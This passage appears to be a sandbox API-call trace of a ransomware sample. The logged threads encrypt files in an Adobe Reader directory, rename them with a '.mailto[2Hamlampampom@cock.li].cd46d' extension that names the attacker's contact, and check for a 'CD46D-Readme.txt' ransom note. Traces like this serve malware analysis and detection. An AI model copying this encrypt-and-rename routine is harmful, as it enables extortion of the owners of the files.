0x428cf8 [0058.469] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428cf8) returned 1 [0058.469] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19534088) returned 1 [0058.469] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19527880) returned 1 [0058.469] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0058.469] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0058.469] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97ce8a0 [0058.469] SetFilePointerEx (in: hFile=0xbc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.469] WriteFile (in: hFile=0xbc8, lpBuffer=0x4246d0*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0xca3fddc, lpOverlapped=0x0 | out: lpBuffer=0x4246d0*, lpNumberOfBytesWritten=0xca3fddc*=0x107, lpOverlapped=0x0) returned 1 [0058.497] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4246d0) returned 1 [0058.497] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee40) returned 1 [0058.497] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428cf8) returned 1 [0058.497] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0058.497] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d98) returned 1 [0058.497] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429570) returned 1 [0058.497] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429610) returned 1 [0058.497] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429480) returned 1 [0058.497] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e024e0 [0058.497] wcscpy (in: _Dest=0x5e024e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0058.497] wcscat (in: _Dest=0x5e024e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm.mailto[2Hamlampampom@cock.li].cd46d" [0058.497] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xca3fd94, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.497] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00880 [0058.526] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00880) returned 1 [0058.526] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1db38) returned 1 [0058.526] NtQueryInformationFile (in: FileHandle=0xbc8, IoStatusBlock=0xca3fda0, FileInformation=0xca3fd78, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xca3fda0, FileInformation=0xca3fd78) returned 0x0 [0058.526] NtSetInformationFile (FileHandle=0xbc8, IoStatusBlock=0xca3fda0, FileInformation=0xca3fd78, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e024e0) returned 1 [0058.527] FlushFileBuffers (hFile=0xbc8) returned 1 [0062.194] CloseHandle (hObject=0xbc8) returned 1 [0062.635] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400018 [0062.635] wcscpy (in: _Dest=0x400018, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.635] wcscat (in: _Dest=0x400018, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.635] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.439] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400018) returned 1 [0063.439] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45e90) returned 1 Thread: id = 518 os_tid = 0xf08 [0049.317] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm")) returned 0x20 [0058.189] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm", dwFileAttributes=0x20) returned 1 [0058.189] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbd0 [0058.190] GetFileSizeEx (in: hFile=0xbd0, lpFileSize=0xcbffac8 | out: lpFileSize=0xcbffac8*=16818) returned 1 [0058.190] SetFilePointerEx (in: hFile=0xbd0, liDistanceToMove=0x41ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.190] ReadFile (in: hFile=0xbd0, lpBuffer=0xcbffa4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xcbffa48, lpOverlapped=0x0 | out: lpBuffer=0xcbffa4c*, lpNumberOfBytesRead=0xcbffa48*=0x4, lpOverlapped=0x0) returned 1 [0058.250] SetFilePointerEx (in: hFile=0xbd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.250] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0058.250] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0058.250] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.250] NtQuerySystemTime (in: CurrentTime=0xcbffa28 | out: CurrentTime=0xcbffa28*=132174898222272000) returned 0x0 [0058.250] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x5662b867 [0058.250] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x56f4c8ad [0058.250] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x7a80fe0a [0058.250] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x50d4ec82 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x7981fbde [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x43b114ca [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x3fef17bb [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x78efbeeb [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x7efce22d [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x73d30812 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x2b579447 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x70e47619 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x293449fc [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x39c48287 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x186a01b [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x77a544a7 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x262da754 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x208a1be9 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x6884732b [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x2c1e544f [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x446afff6 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x50ca3bd6 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0xb1b9107 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x309b57e1 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0xb4189da [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x36a1d8b3 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0xf3a3d86 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x35b3de39 [0058.251] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x1cabd76e [0058.252] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0xf450295 [0058.252] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x2a4e4ea8 [0058.252] RtlRandomEx (in: Seed=0xcbffa34 | out: Seed=0xcbffa34) returned 0x7e7621e4 [0058.278] ReadFile (in: hFile=0xbd0, lpBuffer=0x95e9e28, nNumberOfBytesToRead=0x41b2, lpNumberOfBytesRead=0xcbffa24, lpOverlapped=0x0 | out: lpBuffer=0x95e9e28*, lpNumberOfBytesRead=0xcbffa24*=0x41b2, lpOverlapped=0x0) returned 1 [0058.288] SetFilePointerEx (in: hFile=0xbd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.289] WriteFile (in: hFile=0xbd0, lpBuffer=0x95f6630*, nNumberOfBytesToWrite=0x41b2, lpNumberOfBytesWritten=0xcbffa20, lpOverlapped=0x0 | out: lpBuffer=0x95f6630*, lpNumberOfBytesWritten=0xcbffa20*=0x41b2, lpOverlapped=0x0) returned 1 [0058.472] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428bb8 [0058.472] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c08 [0058.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c08) returned 1 [0058.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95f6630) returned 1 [0058.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95e9e28) returned 1 [0058.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4379b8) returned 1 [0058.473] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c000) returned 1 [0058.473] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cee70 [0058.473] SetFilePointerEx (in: hFile=0xbd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.473] WriteFile (in: hFile=0xbd0, lpBuffer=0x445400*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0xcbffa88, lpOverlapped=0x0 | out: lpBuffer=0x445400*, lpNumberOfBytesWritten=0xcbffa88*=0x105, lpOverlapped=0x0) returned 1 [0058.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445400) returned 1 [0058.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0058.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c08) returned 1 [0058.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0058.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428bb8) returned 1 [0058.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429340) returned 1 [0058.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429750) returned 1 [0058.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429048) returned 1 [0058.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45c1e0 [0058.498] wcscpy (in: _Dest=0x45c1e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0058.498] wcscat (in: _Dest=0x45c1e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm.mailto[2Hamlampampom@cock.li].cd46d" [0058.498] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xcbffa40, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00060 [0058.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00060) returned 1 [0058.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1f518) returned 1 [0058.528] NtQueryInformationFile (in: FileHandle=0xbd0, IoStatusBlock=0xcbffa4c, FileInformation=0xcbffa24, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xcbffa4c, FileInformation=0xcbffa24) returned 0x0 [0058.528] NtSetInformationFile (FileHandle=0xbd0, IoStatusBlock=0xcbffa4c, FileInformation=0xcbffa24, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.532] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c1e0) returned 1 [0058.532] FlushFileBuffers (hFile=0xbd0) returned 1 [0062.194] CloseHandle (hObject=0xbd0) returned 1 [0062.637] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400698 [0062.637] wcscpy (in: _Dest=0x400698, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.637] wcscat (in: _Dest=0x400698, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.637] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.436] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400698) returned 1 [0063.437] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421428) returned 1 Thread: id = 519 os_tid = 0xf0c [0049.318] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm")) returned 0x20 [0058.186] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm", dwFileAttributes=0x20) returned 1 [0058.187] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbcc [0058.187] GetFileSizeEx (in: hFile=0xbcc, lpFileSize=0x663fd44 | out: lpFileSize=0x663fd44*=16916) returned 1 [0058.187] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x4210, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.187] ReadFile (in: hFile=0xbcc, lpBuffer=0x663fcc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x663fcc4, lpOverlapped=0x0 | out: lpBuffer=0x663fcc8*, lpNumberOfBytesRead=0x663fcc4*=0x4, lpOverlapped=0x0) returned 1 [0058.232] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0058.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429098 [0058.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0058.233] NtQuerySystemTime (in: CurrentTime=0x663fca4 | out: CurrentTime=0x663fca4*=132174898222116000) returned 0x0 [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x78f89435 [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x555a266c [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x37317f1b [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x48a620ce [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x10dd5170 [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x4ca242ec [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x62ee22fe [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x6488bddd [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x4c5b665a [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x566fda [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x176fd96e [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x73d792bf [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x2ae4f49b [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x3d1050ae [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x5b42f794 [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x3db888a8 [0058.233] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x2ebe1e9d [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x5396a958 [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x435e9239 [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x53ad3a3 [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x6dd40512 [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x364a095d [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x5b989c49 [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x1c974b21 [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x65bd219f [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x7fa94c1f [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x34da537f [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x32c98ded [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x2698a281 [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0xdcdffcc [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x6de7ac55 [0058.234] RtlRandomEx (in: Seed=0x663fcb0 | out: Seed=0x663fcb0) returned 0x6d0f0879 [0058.249] ReadFile (in: hFile=0xbcc, lpBuffer=0x95d0e18, nNumberOfBytesToRead=0x4214, lpNumberOfBytesRead=0x663fca0, lpOverlapped=0x0 | out: lpBuffer=0x95d0e18*, lpNumberOfBytesRead=0x663fca0*=0x4214, lpOverlapped=0x0) returned 1 [0058.287] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.288] WriteFile (in: hFile=0xbcc, lpBuffer=0x95dd620*, nNumberOfBytesToWrite=0x4214, lpNumberOfBytesWritten=0x663fc9c, lpOverlapped=0x0 | out: lpBuffer=0x95dd620*, lpNumberOfBytesWritten=0x663fc9c*=0x4214, lpOverlapped=0x0) returned 1 [0059.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf280 [0059.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf2a8 [0059.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2a8) returned 1 [0059.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95dd620) returned 1 [0059.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0e18) returned 1 [0059.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437490) returned 1 [0059.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1b0) returned 1 [0059.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97cebd0 [0059.297] SetFilePointerEx (in: hFile=0xbcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.297] WriteFile (in: hFile=0xbcc, lpBuffer=0x4246d0*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x663fd04, lpOverlapped=0x0 | out: lpBuffer=0x4246d0*, lpNumberOfBytesWritten=0x663fd04*=0x107, lpOverlapped=0x0) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4246d0) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb40) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2a8) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cebd0) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf280) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429098) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429728) returned 1 [0061.617] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429700) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02060 [0061.617] wcscpy (in: _Dest=0x5e02060, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0061.617] wcscat (in: _Dest=0x5e02060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm.mailto[2Hamlampampom@cock.li].cd46d" [0061.617] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x663fcbc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00d60 [0061.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00d60) returned 1 [0061.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e216e8) returned 1 [0061.619] NtQueryInformationFile (in: FileHandle=0xbcc, IoStatusBlock=0x663fcc8, FileInformation=0x663fca0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x663fcc8, FileInformation=0x663fca0) returned 0x0 [0061.619] NtSetInformationFile (FileHandle=0xbcc, IoStatusBlock=0x663fcc8, FileInformation=0x663fca0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02060) returned 1 [0061.620] FlushFileBuffers (hFile=0xbcc) returned 1 [0062.200] CloseHandle (hObject=0xbcc) returned 1 [0063.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400018 [0063.468] wcscpy (in: _Dest=0x400018, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0063.468] wcscat (in: _Dest=0x400018, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0063.468] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.468] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400018) returned 1 [0063.469] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e464a8) returned 1 Thread: id = 520 os_tid = 0xf10 [0049.318] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d6c8 [0049.318] wcscpy (in: _Dest=0x48d6c8, _Source="C:\\Users\\Default\\AppData\\Roaming\\Identities" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities" [0049.319] wcscat (in: _Dest=0x48d6c8, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\") 